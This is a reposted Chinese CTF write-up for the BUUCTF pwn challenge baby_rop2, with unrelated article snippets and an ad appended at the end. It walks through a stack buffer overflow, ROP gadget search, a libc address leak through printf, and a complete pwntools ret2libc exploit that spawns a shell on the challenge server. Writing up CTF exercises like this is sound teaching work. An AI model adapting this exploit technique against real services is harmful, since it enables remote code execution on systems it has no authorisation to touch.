BUUCTF PWN [HarekazeCTF2019]baby_rop2

摘要:
//img2020.cnblogs.com/blog/1660692/202112/1660692-20211209224924090-824959966.png)rdi_addr=0x400733ROPgadget--binarybabyrop2|grep“aposi”pop_Rsi=0x400731我们必须首先设置第一个参数:

今天的最后一题

BUUCTF PWN [HarekazeCTF2019]baby_rop2第1张
BUUCTF PWN [HarekazeCTF2019]baby_rop2第2张

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[28]; // [rsp+0h] [rbp-20h] BYREF
  int v5; // [rsp+1Ch] [rbp-4h]

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  printf("What's your name? ");
  v5 = read(0, buf, 0x100uLL);
  buf[v5 - 1] = 0;
  printf("Welcome to the Pwn World again, %s!\n", buf);
  return 0;
}

利用思路:

1.程序很简单,buf的大小是0x20,但是读入的时候读入的是0x100,会造成溢出,我们要想办法覆盖返回地址为” system(‘/bin/sh’)“,那样在执行13行语句的时候,程序回去调用我们布置好的栈,从而得到shell
2.但是程序里没有现成的system(‘/bin/sh’),这需要我们去自己去构造,这边可以利用read函数,去泄露程序的libc基址,然后去获得system和/bin/sh字符串的地址
3.然后造成溢出,将返回地址覆盖为system(‘/bin/sh’)

过程实践

1.泄露libc基址
  由于是64位程序,传参的时候需要用到寄存器
  printf函数的原型int printf( const char* format , [argument] ... );
  举个例子–>print(’%s’,‘hello world’)
  大概就是这样的用法,这边有两个参数要设置,所以我们要找到设置rdi,rsi寄存器的指令
ROPgadget --binary babyrop2 |grep "pop rdi"
![](https://img2020.cnblogs.com/blog/1660692/202112/1660692-20211209224924090-824959966.png)

rdi_addr=0x400733

ROPgadget --binary babyrop2 |grep "pop rsi"

BUUCTF PWN [HarekazeCTF2019]baby_rop2第3张

pop_rsi=0x400731

我们首先要设置第一个参数,就是带有类似于%s这种格式的字符串,我这边是使用的程序里自带的语句
BUUCTF PWN [HarekazeCTF2019]baby_rop2第4张

一开始是打算输出printf的got表地址的,

payload = 'a'*0x28+p64(pop_rdi)+p64(format_str)+p64(pop_rsi_r15)+p64(printf_got)+p64(0)+p64(printf_plt)+p64(main_addr)

解释一下这句payload的意思

‘a’*0x28–>造成溢出,覆盖到了返回地址
p64(pop_rdi)+p64(format_str)–>我们在原本语句的返回地址上写入了pop_rdi,ret,pop_rdi,对应参数format_str,执行后将formast_str的值设置给了rdi,之后执行ret(返回指令)
p64(pop_rsi_r15)+p64(read_got)+p64(0)–> 我们将2中的ret写成了pop_rsi,pop_r15,ret;执行指令pop_rsi对应参数read_got,将rsi寄存器的值设置成了read函数的got表地址,pop_r15对应参数0,由于我们不用r15,随便设置一下它,我是设置成了0
p64(printf_plt)–>将3中的ret设置成printf函数的plt表地址,实际上就是printf函数的地址,去执行printf函数,输出我们设置的read函数的地址
p64(main_addr)–> 在完成第一次利用后,得到了程序内read函数的地址,知道了libc基址,我们需要重新回到程序开头,再次利用这个输入点去写入system‘(/bin/sh)’

接收输出的read函数地址
我平常是这样写的,但是这题这样写得到的read函数地址不对

read_addr=u64(p.recvuntil('\n')[:-1].ljust(8, '\x00'))

看别人的wp都是这样写的

read_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))

问其他师傅是这样给我解释的:
接收地址的你看看基本上都是7个字节的,7f开头,补全8个字节
奇怪的知识又增加了
在得到read函数地址后,就可以得到libc版本和这个程序的偏移量了

libc = LibcSearcher('read', read_addr) #利用libcsearcher库去查找匹配的libc版本
libc_base = read_addr - libc.dump('read') #计算程序里的偏移量

二、计算程序里system和/bin/sh的地址

sys_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')

三、覆盖返回地址位system(‘/bin/sh ’)

payload = 'a'*0x28+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)

完整EXP:

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'

p = process('./babyrop2')

p = remote('node3.buuoj.cn',28485)
elf = ELF('babyrop2')

pop_rdi = 0x0000000000400733
pop_rsi_r15 = 0x0000000000400731
format_str = 0x0000000000400770
ret_addr = 0x0000000000400734

printf_plt = elf.plt['printf']
read_got = elf.got['read']
main_plt = elf.sym['main']

payload = 'a'*0x28+p64(pop_rdi)+p64(format_str)+p64(pop_rsi_r15)+p64(read_got)+p64(0)+p64(printf_plt)+p64(main_plt)

p.recvuntil("name? ")
p.sendline(payload)

read_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
print hex(read_addr)
libc = LibcSearcher('read', read_addr)
libc_base = read_addr - libc.dump('read')

sys_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')

payload = 'a'*0x28+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)
p.sendline(payload)
p.interactive()

免责声明:文章转载自《BUUCTF PWN [HarekazeCTF2019]baby_rop2》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇ehcache.xmlBGP RR和联邦下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

Tushare Pro接口介绍

  Tushare库在数据获取方面一直受到金融分析人员的青睐,极大地减轻了他们在金融数据采集、清洗加工、存储过程的工作量,更加专注于策略和模型的研究与实现上。由于Tushare旧版运行了有3年之久,因此目前网上很多涉及财经和股票交易数据获取的文章使用的是旧版Tushare。Tushare社区现在主要维护新版本tushare pro,它的数据更稳定质量更高,...

frida初体验

一、Frida安装 pip install frida pip install frida-tools cmd 输入python ,进入python继续输入 import frida如果什么都没显示,应该是安装好了。 二、adb安装 https://www.cnblogs.com/clbao/p/13330858.html 三、移动端安装 1.寻找对应的下...

python+selenium动态抓取网页数据

window+python+selenium 1.下载selenium cmd pip3 instatll selenium 2.下载浏览器对应驱动版本 查看浏览器版本:chrome://version 驱动下载国外连接:http://chromedriver.storage.googleapis.com/index.html 驱动下载国内镜像连接(推荐...

使用IP集创建基于主机名的iptables规则

IPTables是在Linux系统上创建防火墙的非常强大的工具。但是,所有规则均基于IP地址。例如,您可以打开一个到特定源IP地址的端口。如果您的客户端需要连接到没有静态IP地址的服务怎么办?客户端需要监视其IP地址的更改,向您发送新IP,然后您必须手动更新iptables规则以允许他们访问。一定有更好的方法。这是我想到的,当时我有一个客户需要从家里通过S...

scheme中表只能操作头部带来的一个问题

很多简单的算法,为了能够转成尾递归,不得不采取比较繁琐的计算过程,或者使用多遍的遍历过程。在scheme中,比如map的实现,按照定义的实现 (define (map p l)   (if (null? l)        '()       (cons (p (car l)) (map p (cdr l))))) 是一个普通的递归,无法转成迭代进行计算。...

MSSQL 触发器

---触发器练习 --在SQL Server里面也就是对某一个表的一定的操作,触发某种条件,从而执行的一段程序 CREATE TABLE Student ( SID INT PRIMARY KEY --学号 ) CREATE TABLE BorrowRecord ( --学生借书记录表...